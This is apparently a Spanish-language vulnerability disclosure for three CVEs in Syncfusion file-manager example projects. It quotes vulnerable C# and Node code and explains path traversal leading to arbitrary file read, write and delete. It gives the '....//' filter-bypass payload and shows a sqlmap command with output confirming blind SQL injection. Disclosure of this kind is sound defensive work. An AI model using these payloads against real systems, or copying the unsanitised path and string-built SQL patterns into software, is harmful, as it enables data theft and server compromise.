
Exploits de prueba de concepto para tres vulnerabilidades en administradores de archivos de Syncfusion: path traversal que conduce a lectura/escritura/eliminación arbitraria de archivos, e inyección SQL en el proveedor de SQL Server.
El proveedor ha reportado que todas las vulnerabilidades detalladas han sido corregidas a partir de las versiones lanzadas después de 2024. Ruptura InfoSecurity no ha verificado que estas correcciones sean completas.
Consulte los comentarios del proveedor en https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
Repositorio afectado: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Versiones vulnerables anteriores al commit de Git 7c8791084ff86d4a2c225756c490591f6e011a6c
La aplicación no verifica ninguna de las rutas proporcionadas por el usuario. Como resultado, es posible especificar secuencias de recorrido de directorios ("../") para listar archivos en cualquier directorio, leer cualquier archivo local, subir cualquier archivo a cualquier lugar del servidor y eliminar cualquier archivo del servidor.
En el repositorio de ASP Core, la mayor parte de la funcionalidad real se implementa en Models/PhysicalFileProvider.cs.
En el caso de la descarga, el parámetro names se toma directamente de la entrada del usuario en la solicitud.
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
Esta ruta se usa directamente dentro de la función Path.combine.
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
En la mayoría de los endpoints, intentaron solucionar esto eliminando ../ pero esto se puede eludir trivialmente usando algo como ....//, que después de .replace("../", ""), dará como resultado el ../ original.
Repositorio afectado: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Versiones vulnerables anteriores al commit de Git 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6
Si bien la aplicación contiene una expresión regular para bloquear secuencias de recorrido de directorios, esto solo lo hace a veces. Como resultado:
En el repositorio de Node, toda la funcionalidad se ofrece dentro de un solo archivo: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
Para la descarga de archivos, la causa raíz es bastante evidente, ya que la aplicación confía en la entrada del usuario al concatenar las rutas de archivo:
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
Repositorio afectado: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Versiones vulnerables anteriores al commit de Git d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6
En el repositorio de SQL Server, la mayor parte de la funcionalidad real se implementa en Models/SQLFileProvider.cs.
La inyección SQL es bastante estándar y frecuente dentro del repositorio afectado y puede explotarse con un simple comando de sqlmap:
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:31:52 /2023-04-03/
[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
Ejemplos de fragmentos de código vulnerables:
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
La inyección SQL da como resultado acceso de lectura completo a la base de datos con respecto a cómo estén configurados los permisos para la cuenta de usuario.